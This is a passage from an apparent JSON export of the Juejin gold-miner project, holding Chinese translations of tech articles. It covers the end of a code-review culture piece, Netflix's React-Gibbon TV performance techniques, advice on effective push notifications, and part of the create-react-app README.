####\n\n**代码审查可持续性**主要被以下几个因素影响：执行代码审查的时候执行者到底**说了什么，做了什么，让被审查者有什么样的感受**\n\n重点还是在于大家说了什么以及说话的方式。\n\n让我们来看看大家的吐槽吧：\n\n> 面对 PR 的时候，我觉得你要是不喜欢变量名就直接改，我觉得这个不是最重要的，这完全是个人喜好嘛！就像在 IDE 里一样，我很容易就被搞蒙了。我不关心为什么不开心，让这个东西停止报错就好，不停地报错真的不能忍。\n\n> 不要在公开场合说思想上的大错误。在线下有个友善的对话会非常有帮助。直接 PR 上说会让人很不爽，最后弄得大家都不愉快。\n\n> 当需求不停的改的时候我非常难过，特别是他们不向我解释为什么更改了需求的时候，或者留下他们犯错的可能性。特别是当别人告诉你改写你的代码成为他们的版本的时候，你简直难过得想要抱抱。\n\n> 当一个回复过长的时候，我们不如去进行一次线下的交流。\n\n> 我觉得对于个人喜好问题和功能是否能正常运作完全是两个问题。对于初级工程师来说，这是非常难分辨的。有时候几个高级工程师给出不同的反馈的时候更加懵逼。\n\n\n总的来说，代码审查的重点有一下几个：\n\n1. 反馈过度注重语法和习惯的问题，导致让双方都非常不爽。代码习惯与风格和代码功能错误根本就是两回事儿。\n2. 说话方式也很重要。过激的语言会打消对方的自信心，对团队也不是好事。\n\n### 如何做得更好? ###\n\n\n也许这些数据不能最完整、最细致、或者最精准地代表代码审查的结构，但是我们还是能学到一些东西：我们能够回顾并检查我们团队的甚至整个社区的代码审查流程。\n\n下面的匿名调查告诉了我们代码审查对于一个团队成员的影响是怎么样的：\n\n> 一个非常差劲的代码审查让我几乎决定离职。一个优秀的代码审查流程会让我有信心面对将来更加困难的项目。\n\n确实，有一个流程化的代码审查制度**似乎**是非常有效且能帮助团队快速成长的；Steve McConnell 和这篇文字的调查都证明了这一点。但是，单纯的重构代码审查流程然后永远不改是远远不够的。事实上，代码审查的流程应该根据整个团队的情况来更改以保证团队的生长。\n\n> 与直接采用一个代码审查方式不同的是，我们需要重新思考我们的代码审查流程并且流程化工作来帮助我们面对以后的可能遇到的问题。\n\n换句话说，重点在于我们能够思考我们的代码审查是否足够有效，是否能对于团队和个人同时产生好处。\n\n#### 一些提高代码审查的小技巧 ####\n\n这边是一些能够快速帮助提高代码审查感受的一些技巧：\n\n- 使用 [linters](https://github.com/showcases/clean-code-linters) 或者其他的代码分析工具来避免语法问题。\n- 使用 [GitHub 的模板](https://quickleft.com/blog/pull-request-templates-make-code-review-easier/)来生产每个 PR 。在发 PR 的时候带上更改列表对于作者和审查者都非常有帮助。\n- 在发 PR 的时候可以加个截图来帮助那些不是很熟悉的人理解问题。\n- 提高 commits 的信息量，尽量语言短小精湛。\n- 对于每个 PR 钦定审查者，如果可能的话人多于一个比较好。确定代码编写和审查的分配对于各个等级的工程师来说是均衡的。\n\n#### 很难做到但是非常重要的事情 ####\n\n当你已经代码审查入门之后，这里是一些更加重要的东西。事实上，对于重构代码审查流程来说，这里的东西是最重要的。\n\n警告：前方高能，内容可能有一定难度\n\n- **能够理解你的团队。** 这项任务一般都由高级工程师们来承担，希望大家对于新人们能多多帮助。\n\n[![Markdown](http://i1.piimg.com/1949/36f270199929bb1e.png)](https://twitter.com/sarahmei)\n\n- **更加委婉的交流。** 这意味着在发评论之前思考自己的言行是否妥当，是否会让其他人很不爽。在公众下批评别人是一件非常不好的事情。相比，有个私人对话会好很多。\n\n[![Markdown](http://i1.piimg.com/1949/51bfec74a7cf1e42.png)](https://twitter.com/j3)\n\n- **进行一次口头交流。** 带着整个团队坐下来，到 slack （美国的一种团队交流软件）上开个新的频道，让大家能够匿名的交流（选择最适合的即可）。在匿名的情况下大家都愿意说真话。\n\n我把最重要的一点放在最后，因为当你还有耐心读到这里的时候，说明你真的想要更改一下你们的代码审查结构了，这是个好事儿。团队交流真的非常重要，这几乎是每个团队必须跨出的一步如果他们想要提升代码审查制度的话。\n\n下面这句话基本上包括了我最想说的：\n\n> 理论上来说，我很喜欢代码审查。事实上，这个东西取决于构建这个流程的团队。\n\n#### 相关资源 ####\n\n如果你想看一个更加大的匿名的反馈，你可以看下面这个有关于这个项目的网站：\n\n[![Markdown](http://i1.piimg.com/1949/2b892fa3a6988b39.png)](http://bettercode.reviews)\n\n#### 感谢 ####\n\n首先感谢一路上一直支持我的工程师朋友们，感谢你们投入时间和精力参与我的调查。\n\n非常感谢 [Kasra Rahjerdi](https://medium.com/@jc4p) 帮我整理反馈并且生成那么多的图像。\n\n感谢 [Jeff Atwood](https://blog.codinghorror.com/code-reviews-just-do-it/)的有关于互相检查的文章, Karl Wiegers 的 [*人类化互相审查流程*](http://www.processimpact.com/articles/humanizing_reviews.html), 以及 Steve McConnell 对于 [*Code Complete*](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) 的研究。 我希望你能购买他们的书来支持他们。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/crafting-high-performance-tv-user.md",
    "content": "> * 原文链接: [Crafting a high-performance TV user interface using React](http://techblog.netflix.com/2017/01/crafting-high-performance-tv-user.html)\n* 原文作者 : [Ian McKay](https://twitter.com/madcapnmckay)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [vuuihc](https://github.com/vuuihc)\n* 校对者 : [SumiMakito](https://github.com/SumiMakito) [zhouzihanntu](https://github.com/zhouzihanntu)\n\n# Netflix: 使用 React 构建高性能的电视用户界面 \n\n我们在为 Netflix 会员努力寻找最佳体验的过程中也在不断优化其电视界面。例如，在进行 [A/B 测试](http://techblog.netflix.com/2016/04/its-all-about-testing-netflix.html) 、眼球追踪研究以及研究用户反馈之后，我们最近推出了 [视频预览](https://www.fastcompany.com/3066166/innovation-agents/netflix-launches-video-previews-how-the-company-landed-on-its-biggest-rede) 功能来帮助会员们更好地决定看什么。我们在之前写的 [一篇文章](http://techblog.netflix.com/2013/11/building-new-netflix-experience-for-tv.html) 中讲到了我们的电视应用是由一个预装在设备上面的 SDK，一个可以随时更新的 JavaScript 应用以及一个被称为 Gibbon 的渲染层组成的。在这篇文章中，我们会着重讲解在优化 JavaScript 应用性能的过程中使用的一些方法。\n\n## React-Gibbon\n\n在 2015 年，我们开始对电视用户界面架构进行大规模的重写和现代化改造。我们决定使用 React 框架，它的单向数据流和声明式的用户界面开发方式能够让我们更简单的规划整个应用。那时 React 框架还只针对 DOM 设计，我们显然需要一个有自己特色的 React，于是我们很快地创造出一个针对 Gibbon 的原型。这个原型最终进化成为了 React-Gibbon ，我们也开始着手建造基于 React 的用户界面。\n\n任何接触过 React-DOM 的人都会非常熟悉 React-Gibbon 的 API。最大的不同是，我们只有一个叫做 ```widget``` 的单一支持内联样式的绘图原语，而没有 ```divs```, ```spans```, ```inputs``` 等。 \n```\nReact.createClass({\n    render() {\n        return <Widget style={{ text: 'Hello World', textSize: 20 }} />;\n    }\n});\n```\n\n## 性能是一个关键的挑战\n\n我们的应用运行在数百种设备上 —— 从最大的游戏机如 PS4 Pro 到内存和处理器性能都有限的消费电子产品。我们要面对的低端电子设备常常有着低于 1 GHz 的单核 CPU，低内存和有限的图像处理加速能力。让事情更有挑战性的是，我们的 JavaScript 运行环境是没有 JIT 的老版本的 JavaScriptCore。这些限制让实现超高响应的 60 fps 的体验变得尤其棘手，使得 React-Gibbon 和 React-DOM 有了很多差异。\n\n### 测量，测量，测量\n\n在进行性能优化的时候，确定一个用来衡量优化效果的指标显得尤为重要。我们使用如下的指标来测量综合的应用性能：\n\n- 按键响应 —— 响应一个按键操作并渲染相关修改所用的时间。\n- 启动时间 —— 启动这个应用所用的时间。\n- 每秒帧数 —— 反映在我们动画的连续性和顺滑度。\n- 内存占用\n\n下文概述的策略主要的目标都是提高按键响应速度。它们都在我们的设备上被识别、测试、测量过，但在其它的环境中不一定适用。就像所有的『最佳实践』的建议一样，保持怀疑并确认他们在你的环境中和你的用例中可用是非常重要的。我们使用性能分析工具来识别正在执行的代码路径，以及它们在总渲染时间中的份额； 这让我们观察到了一些有趣的现象。\n\n### 观察结果：React.createElement 有成本\n\nBabel 转义 JSX 时，把 JSX 转换成了一些 React.createElement 函数的调用，这些函数执行后产生下一步要渲染的组件。如果我们能预测 createElement 函数会产生什么，我们就能编译时用期望的结果将函数内联调用而不是在运行时执行函数。\n```\n// JSX\nrender() {\n    return <MyComponent key='mykey' prop1='foo' prop2='bar' />;\n}\n\n// 转义后\nrender() {\n    return React.createElement(MyComponent, { key: 'mykey', prop1: 'foo', prop2: 'bar' });\n}\n\n// 函数内联调用\nrender() {\n    return {\n        type: MyComponent,\n        props: {\n            prop1: 'foo', \n            prop2: 'bar'\n        },\n        key: 'mykey'\n    };\n}\n```\n\n如你所见，我们完全移除了 createElement 函数调用的成本，一个软件优化上『我们能不能不这样』思维的胜利。\n我们想知道这个技术是否可以在我们的整个应用中使用，从而完全避免调用 createElement 函数。结果我们发现如果在元素中使用了 ref ，createElement 就需要被调用，以便在运行时连接所有者。如果你使用了 [扩展属性](https://facebook.github.io/react/docs/jsx-in-depth.html#spread-attributes) 而其中包含 ref 值，也是同样的道理。（之后我们会重新谈到这一点）\n\n我们使用了一个定制化的 Babel 插件来进行元素的内联，不过现在你也可以用 [官方插件](https://babeljs.io/docs/plugins/transform-react-inline-elements/) 来做这件事。这个官方插件会调用一个之后会消失的辅助函数，而不是使用对象字面量，这要归功于 V8 的魔法 [函数内联](https://ariya.io/2013/04/automatic-inlining-in-javascript-engines)。然而，在使用了我们的插件之后，仍然有不少的组件没有被内联，尤其是在我们应用内占有很大比例的高阶组件。\n\n### 问题： 高阶组件不能使用内联\n\n我们喜欢将 [高阶组件](https://facebook.github.io/react/docs/higher-order-components.html) 作为 mixin 的替代品。它既能在行为上分层，又能保持关注的分离。我们希望在我们的高阶组件中利用内联的好处，但是我们碰到了一个难题：高阶组件通常表现为他们的属性的传递者。这就自然的引入了属性扩展符，从而阻止 Babel 插件进行内联操作。\n\n当我们开始重写我们的应用时，我们决定渲染层的所有交互需要经过声明式 API。例如，我们不会这样做：\n```\ncomponentDidMount() {\n    this.refs.someWidget.focus()\n}\n```\n\n相反地，为了把应用的焦点移动到一个特殊的 Widget，我们实现了一个声明式的聚焦 API，它使得我们可以描述哪个组件应该在渲染的时候被聚焦，像下面的代码这样：\n```\nrender() {\n    return <Widget focused={true} />;\n}\n```\n\n这种写法能给我们带来意外的好处，让我们在整个应用中都避免了使用 ref。所以，不管代码中是否用到了扩展运算符，我们都可以使用内联技术。\n```\n// 内联调用之前\nrender() {\n    return <MyComponent {...this.props} />;\n}\n\n// 内联调用之后\nrender() {\n    return {\n        type: MyComponent,\n        props: this.props\n    };\n}\n```\n\n这极大地减少了之前我们不得不做的函数调用和属性合并的操作的数量，但它并没有完全的消除他们的影响。\n\n### 问题：属性拦截仍然需要合并操作\n\n在我们成功地把我们的组件内联化之后，我们的应用仍然在高阶组件中耗费大量的时间进行属性合并。这并不奇怪，因为高阶组件经常拦截新来的属性，在其中某些属性值中做一些改变或者添加自己的属性进去，然后再转发给内部的封装组件。\n\n我们在设备上分析了高阶组件的层叠数随着属性数量和组件深度的变化关系，分析的结果为我们提供了一些有用的信息。\n\n![Screenshot 2017-01-11 12.31.30.png](https://lh4.googleusercontent.com/9S0doBpyo_e_ON1Odxef6Ak3y74xqxIcFL5EjsrFfBUy81gKwu1svsNVxe-nbzdEmymB4kPhPKJEJI5La8iIzNc5opZToVe4GB0g6AuoZU60tGY33-_zvpyuHTJRUQRw50BvoUCx)\n\n这些信息显示，在既定的组件深度下，层层传递的组件属性的数量和渲染时间之间有着大致线性的关系。\n\n**属性太多会让你的应用死掉**\n\n基于我们的研究，我们意识到，可以通过限制层层传递的属性数量来对我们的应用性能进行大幅度的提升。我们发现很多组属性集合经常是相关的并且同时发生改变。在这种情况下，把这些相关属性在一个单一命名空间的属性里面集合起来是很有意义的。如果一个命名空间的属性集合可以被建模为一个不可变值，后续的对 shouldComponentUpdate 函数的调用就可以被优化，通过只检测引用指向的是否是同一个值而不是对对象进行深层比较。这算是一些好的成果，但最终我们发现我们已经尽可能的减少了属性数量。现在是时候采取更极端的措施了。\n\n**合并属性，无需遍历所有属性值**\n\n注意，此处可能有坑！这种做法一般不推荐，而且很有可能以奇怪的意外的方式打乱很多事情。\n在减少了应用中传递的属性数量之后，我们开始实验其它方法，希望可以减少在高阶组件之间进行属性合并所耗费的时间。我们意识到可以通过使用原型链来完成同样的事情，从而避免进行属性遍历。\n```\n// proto merge 之前\nrender() {\n    const newProps = Object.assign({}, this.props, { prop1: 'foo' })\n    return <MyComponent {...newProps} />;\n}\n\n// proto merge 之后\nrender() {\n    const newProps = { prop1: 'foo' };\n    newProps.__proto__ = this.props;\n    return {\n        type: MyComponent,\n        props: newProps\n    };\n}\n```\n\n在上面这个例子中，我们成功地把一个有100个属性传递100层的情况的渲染时间从 500ms 左右降到了 60ms。注意，使用这个方法会引入一些有趣的 bug，比如说，this.props 是一个 [冻结对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze) 的情况。当这种情况发生时，原型链方法仅在创建 newProps 对象后分配 __proto__ 时有效。不用说，如果你不是 newProps 的所有者，那么分配原型是不明智的。\n\n### 问题：比对样式很慢\n一旦 React 知道了它需要渲染的元素，它一定会把这些元素和之前的元素进行比对，以决定必须应用在真实 DOM 元素上面的最小的改变。通过分析我们发现这个过程成本很高，尤其是在 mount 的过程中 —— 部分原因是需要遍历大量的样式属性值。\n\n**基于是否可能改变来区分样式属性**\n\n我们发现通常我们设置的许多属性从来没被实际改变过。举个例子，我们有一个 Widget 被用来展示一些动态文字，它有 text, textSize, textWeight 和 textColor 这些属性。text 这个属性在这个 Widget 的生命周期中会改变，但其它的属性我们希望保持不变。比对这 4 个样式属性会在每次渲染都有成本，我们可以通过把可能改变的属性和不会改变的属性分开来消除这个成本。\n```\nconst memoizedStylesObject = { textSize: 20, textWeight: ‘bold’, textColor: ‘blue’ };\n```\n\n```\n<Widget staticStyle={memoizedStylesObject} style={{ text: this.props.text }} />\n```\n\n如果我们谨慎地记忆了这个 ```memoizedStylesObject``` 对象，React-Gibbon 就可以检查引用相等，而且只有在引用不相等的时候改变它的值。这对 mount 组件的时间没有影响，但是对每个后续的重新渲染的成本有影响。\n\n**为什么不避免所有的遍历？**\n\n我们来更深入的讨论一下这个想法，如果我们知道在一个特定的组件上面有哪些样式属性被设置了，我们可以写一个不用遍历任何属性键的函数来做之前相同的工作。我们写了一个定制化的 Babel 插件，它可以在组件的渲染方法上面做一些静态分析。它会辨别哪一些样式将会被使用，然后构建一个定制化的 『比对差异 —— 应用更改』的函数，并把这个函数添加到组件的属性里面。 \n```\n//这个函数是静态分析插件产生的\nfunction __update__(widget, nextProps, prevProps) {\n    var style = nextProps.style,\n        prev_style = prevProps && prevProps.style;\n\n\n    if (prev_style) {\n        var text = style.text;\n        if (text !== prev_style.text) {\n            widget.text = text;\n        }\n    } else {\n        widget.text = style.text;\n    }\n}\n```\n\n```\nReact.createClass({\n    render() {\n        return (\n            <Widget __update__={__update__} style={{ text: this.props.title }}  />\n        );\n    }\n});\n```\n\n在内部，React-Gibbon 会查找这个特殊的 __update__ 属性，跳过常规的遍历以前的样式属性和下一个样式属性的过程，取而代之的是，如果 __update__ 监测的样式属性有变化，就直接应用这些属性变化到组件上去。这对我们的（应用）渲染时间有巨大的影响，当然这以增加可分发大小为代价。\n\n## 性能是个特点\n\n我们应用的运行环境是独一无二的，但是我们用来寻求性能提升机会的技术却是通用的。我们在真实的设备上面测量、测试和验证了我们所有的改进。这些调查研究让我们发现了一个共同的问题：遍历所有属性代价是昂贵的。因此，我们在我们的应用中辨别属性合并过程，然后决定它们是否能被优化。下面列出了我们在提高性能方面所做的一些其他工作：\n\n- 自定义复合组件 —— 为我们的平台进行了超优化\n- 预加载场景以提高感知的过渡体验\n- 组件放入组件池\n- 对昂贵计算进行记忆化处理\n"
  },
  {
    "path": "TODO/create-effective-push-notifications.md",
    "content": "> * 原文地址：[How to create effective push notifications](https://blog.intercom.com/create-effective-push-notifications/)\n* 原文作者：[GEOFFREYKEATING](http://twitter.com/geoffreykeating)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[PhxNirvana](https://github.com/phxnirvana)\n* 校对者：[Danny Lau](https://github.com/Danny1451) , [Freya Yu](https://github.com/ZiXYu)\n\n#  如何建立高效推送通知\n\n过去二十年来，内容分发的方式已经发生了翻天覆地的变化。\n\n推送方式从大型信息门户到网页，再到轻应用，以及手机屏幕上小小的通知（notification）栏一步一步地改变着。\n\n通知最好的呈现方式是作为**信息**的载体。\n\n如果内容分发的方式已经被彻底改变了的话，那创造内容的方式也一定发生了改变。这一点在当今社会已是既成事实。\n\n可是当诸如通知这样的新形式出现时，我们却又回到了旧的内容建立模式。这使得通知这样的新科技变得快速而又平淡。\n\n也难怪人们将通知视为二十一世纪的推销电话。没有人情味，毫无相关性，还总在错误的时间出现，通知栏简直成了错误营销的教科书，而不是一种自发行渠道。\n\n然而，通知是可以成为一种相当有效的内容渠道的——唯一需要的就是适合该媒介的发行技巧。下文将列出几条推送通知所用到的技巧。\n\n## 1. 注意移动化的模式 ##\n\n尽管移动平台使用广泛，大多数的内容形式却依旧与台式计算机踩着相同的步伐。时事通讯在早上九点送达，博客推送在下午五点送达。\n\n这些发行时间表都是与传统媒体相连甚密的，却没有自动适应移动通知（的形式）。\n\n[Andrew Chen](http://andrewchen.co/breaking-down-671-million-push-notifications-by-hour/) 整合了一些很棒的数据，这些数据表明成吨的推送在傍晚到达（并在随后的时间迅速减少），打开率在下午六点之后相当高。结论很清晰——下午六点到八点推送通知时参与度达到最高。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/10/25115947/Sent_vs_Opens.jpg) \n\n*来源: [Andrew Chen](http://andrewchen.co/breaking-down-671-million-push-notifications-by-hour/) 和 [Leanplum](https://www.leanplum.com/)*\n\n注意：下午六点到八点只是第一选择。推送的时间也应该考虑到紧急程度。在这个例子中，建立一个推送优先级表是很有好处的。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/10/25115937/Notification_Map.jpg)\n\n## 2. 要明了而不要多加词藻 ##\n\n每一次 iOS 和 Android 平台发布新版本，你总会听到有公司说交互性通知翻开了崭新的篇章这种话。媒体宣称“图片和 GIF 动图使 CTR （广告点击到达率）增加了 60%”，当然还有其他一系列与之相伴随的浮夸语句。\n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/10/25153946/Same_Terrible_Content-1.jpg)\n\n但如果你的通知是**起初对用户毫无价值的**，交互性通知也就没什么意义了。大多数公司将通知作为一块模糊的、隐藏的标记区域，试图把用户拉回应用中。但通知的最佳使用方式**却是**消息。 \n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/10/25120006/image00.png)\n\n上面这条来自 Quartz 的消息比想象中的效果还要好。\n\n1. 用简洁的方式告诉我有趣的事物\n2. 如果我想的话，可以深入挖掘，同时给予我拒绝的权利\n3. 推送有趣内容时再三确认我下载 Quartz 应用的选择\n\n通知在作为更细节的信息的入口时效果相当好，但只在原始信息足够吸引人探究时才有效果。\n\n## 3. 个性化怎么可能只是加个名字啊喂（译者：大雾） ##\n\n当你忘记那堆市场营销的最佳实践时，就入门了。\n\n我们手机主屏幕上有着太多个性化交互的东西了——朋友的社交媒体消息，家人的短信等。\n\n为了实现个性化定制的通知，各公司的通知都应该遵循规范。即使是各种小细节，如添加接收者的名字都可以让推送通知体验更好。（某些情况下 [可以达到四倍的优化](http://andrewchen.co/new-data-on-push-notification-ctrs-shows-the-best-apps-perform-4x-better-than-the-worst-heres-why-guest-post/)）\n当然，个性化绝不只是前面加个用户名字，后面署上自己名字那么简单。在通知上使用精准个人信息的重要性，恕我词穷，用语言难以描述万一。 事件参数、语言、生活圈等都是确保你的信息足够个性化和针对性的手段。（当然，[Intercom](https://www.intercom.com/customer-engagement) 是发送这类信息的一个很好的选择，但无论使用什么工具，道理都是一样的。）\n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/10/25115944/Say_This_Not_This_Final-1.jpg)\n\n## 4. 通知的实时性 ##\n\n通知面临的一大问题是它们的内容的有效性本质上是转瞬即逝的，一旦发送出去就无法适应新的时间或背景。\n\n[一些发布者](http://www.niemanlab.org/2016/06/the-guardian-is-experimenting-with-interactive-auto-updating-push-alerts-to-cover-big-stories/) 正在试图将自动更新的通知变为可能。这意味着你将得到最新的和最精准的推送消息。\n\n> Android 又得一分，实时更新通知是个很棒的特性。[pic.twitter.com/7gs9cqMrcf](https://t.co/7gs9cqMrcf)\n> \n> — Zach Seward (@zseward) [June 8, 2016](https://twitter.com/zseward/status/740359109967548418)\n\n**主屏上实时更新的 Bernie Sanders 和 Hillary Clinton 的选举情况**\n\n也许大多数公司目前无法做到实时更新推送，但需要指出的十分重要的一点是——推送当下的、实时的信息可以得到最大的（用户）参与量。\n\n影响你在真实世界计划和决策的新闻（想想 Uber 的自动调价通知），转瞬即逝的机会（比如亚马逊降价了），和刚更新的关注内容（比如 Netflix 的新电影）这些都是最受欢迎的打断性通知。\n\n## 5. 衡量实际效益而不是乱放卫星 ##\n\n传统上，推送的评价方式都是依赖指标如打开率、点击率等。这些吹出来的数据也只能信一半。\n\n举个例子，一个成功的推送应该是自包含的，独立的信息，如上文所述。如果人们没有点击进去，意味着推送没有吸引到他们——或者是它已经完成使命了（译者注：此处译者的理解是看到推送的标题就够了，没必要打开看内容）。点击率和打开率对于激励你的同事很有用，但在帮助你了解用户真正需要的信息时并没有太大作用。 \n\n尽管有些难以追踪，一个评价有效性的好方法是注意**负面信息**。用户是否在收到一系列推送后关闭了消息通知？通知是否是卸载应用的原因？从这边着手的一个好方法是追踪重复使用行为。（我们测量 [保有量](https://blog.intercom.com/retention-cohorts-and-visualisations/) 的行为是一个好的开端。）\n\n---\n\n在开始推送消息前只有五点需要注意的。而这五点的开始是忘记你学过的市场营销技巧，并用上文的基础创造新的策略）如果你还有其他诸如此类的推送技巧，或者你想要上文中任何更细节的信息，可以在下面留言或者通过本页的消息框（译者注：原博客网页右下角）与我们取得联系。\n\n"
  },
  {
    "path": "TODO/create-react-app.md",
    "content": "> * 原文地址：[Create React apps with no build configuration](https://github.com/facebookincubator/create-react-app?utm_source=javascriptweekly&utm_medium=email)\n* 原文作者：[Facebook Incubato](https://github.com/facebookincubator)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[贾克奇](https://github.com/jiakeqi)\n* 校对者：[XHShirley](https://github.com/XHShirley) [Gocy015](https://github.com/Gocy015)\n\n# 无需配置即可创建 React App\n\n* [开始](#getting-started) – 如何创建一个新 app。\n* [用户指南](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md) – 如何使用 Create React App 脚手架开发 app。\n\n## \n\n```sh\nnpm install -g create-react-app\n\ncreate-react-app my-app\ncd my-app/\nnpm start\n\n```\n\n然后打开 [http://localhost:3000/](http://localhost:3000/) 查看你的 app。<br>\n当你准备部署到生产模式时，使用 `npm run build` 构建更小体积的包。\n\n<img src='https://camo.githubusercontent.com/506a5a0a33aebed2bf0d24d3999af7f582b31808/687474703a2f2f692e696d6775722e636f6d2f616d794e66434e2e706e67' width='600' alt='npm start'>\n\n## 开始\n\n### 安装\n\n全局安装:\n\n```sh\nnpm install -g create-react-app\n```\n\n*你机器上 Node 的版本不能低于 4.0*。\n\n**为了加快安装速度和更好的利用磁盘，我们强烈建议使用 Node6+ 和 npm3+。** 你可以使用 [nvm](https://github.com/creationix/nvm#usage) 在不同的项目中切换 Node 版本。\n\n**这个工具不一定需要 Node 作为后端**。 安装 Node 只是为了本地构建工具的依赖，比如说 Webpack 和 Babel 。\n\n### 创建一个 app\n\n要创建一个新 app， 运行:\n\n```sh\ncreate-react-app my-app\ncd my-app\n```\n\n它会在当前目录下创建一个叫做 `my-app` 的文件夹。<br> 在这个文件夹中，它会生成初始项目结构和安装相应依赖:\n\n```\nmy-app/\n  README.md\n  node_modules/\n  package.json\n  .gitignore\n  public/\n    favicon.ico\n    index.html\n  src/\n    App.css\n    App.js\n    App.test.js\n    index.css\n    index.js\n    logo.svg\n```\n\n无需配置或者复杂的目录结构，只有你构建 app 所需的文件。<br>\n一旦安装完毕后，你可以在项目文件夹下运行一些命令:\n\n### `npm start`\n\n在开发模式下运行 app 。<br>\n在浏览器中打开 [http://localhost:3000](http://localhost:3000) 查看视图。\n\n对界面的编辑会实时刷新。<br>\n你可以在控制台下看到构建错误和语法警告。\n\n<img src='https://camo.githubusercontent.com/41678b3254cf583d3186c365528553c7ada53c6e/687474703a2f2f692e696d6775722e636f6d2f466e4c566677362e706e67' width='600' alt='Build errors'>\n\n### `npm test`\n\n在交互模式下运行测试。 默认情况下，运行与自上次提交以来更改的文件的相关测试。\n\n[更多关于测试的文章](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#running-tests)。\n\n### `npm run build`\n\n会以生产模式构建 app 到 `build`文件夹内。<br>\n它在生产模式下正确打包 React，并优化构建以获得最佳性能。\n\n这个构建的体积已经被压缩过了，并且文件名都包含了哈希。<br>\n你的 app 已经部署好了!\n\n## 用户指南\n\n这个 [用户指南](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md) 包含的信息涵盖了不同的话题，如:\n\n- [Updating to New Releases](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#updating-to-new-releases)\n- [Folder Structure](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#folder-structure)\n- [Available Scripts](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#available-scripts)\n- [Displaying Lint Output in the Editor](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#displaying-lint-output-in-the-editor)\n- [Installing a Dependency](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#installing-a-dependency)\n- [Importing a Component](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#importing-a-component)\n- [Adding a Stylesheet](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#adding-a-stylesheet)\n- [Post-Processing CSS](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#post-processing-css)\n- [Adding Images and Fonts](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#adding-images-and-fonts)\n- [Using the `public` Folder](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#using-the-public-folder)\n- [Adding Bootstrap](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#adding-bootstrap)\n- [Adding Flow](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#adding-flow)\n- [Adding Custom Environment Variables](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#adding-custom-environment-variables)\n- [Can I Use Decorators?](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#can-i-use-decorators)\n- [Integrating with a Node Backend](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#integrating-with-a-node-backend)\n- [Proxying API Requests in Development](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#proxying-api-requests-in-development)\n- [Using HTTPS in Development](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#using-https-in-development)\n- [Generating Dynamic `<meta>` Tags on the Server](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#generating-dynamic-meta-tags-on-the-server)\n- [Running Tests](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#running-tests)\n- [Deployment](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#deployment)\n\n用户指南的副本将在你的项目文件夹中创建为 `README.md` 。\n\n## 如何更新到最新版本?\n\n有关信息请参阅 [用户指南](https://github.com/facebookincubator/create-react-app/blob/master/packages/react-scripts/template/README.md#updating-to-new-releases)。\n\n## 哲学理念\n\n* **单依赖:** 只有一个构建依赖。它使用了 Webpack，Babel，ESLint，和其他很棒的项目，但是把他们整合到一起提供给用户。\n\n* **零配置:** 这里没有配置文件或者命令行选项。开发和生产构建配置都已经设置完毕，这样以来你可以专注于写代码。\n\n* **无锁定:** 您可以随时到自定义设置。运行一个简单的命令，所有配置和构建依赖会移动到你的项目内，因此你可以选择他们的位置。\n\n## 为什么使用?\n\n**如果你用 React 开始**，使用 `create-react-app` 自动构建你的 app。无需配置文件，并且 `react-scripts` 是在 `package.json` 额外的构建依赖。你的环境会提供你需要构建现代化 React app 的任何东西:\n\n* React，JSX，和 ES6 支持。\n* ES6 之外的语言扩展，如对象扩展运算符。\n* 一个开发服务器用来检查常见错误。\n* 从 JavaScript 中 引入 CSS 和图片文件。\n* 自动补全 CSS，因此你不需要 `-webkit` 或者其他前缀。\n* 一个 `build` 构建脚本为生产模式从源码去打包 JS、CSS、和图片。\n\n**一些功能是受限制的**。它不支持一些高级功能，如服务端渲染或者 CSS 模块。目前也不支持测试。这个工具之所以是 **无配置** 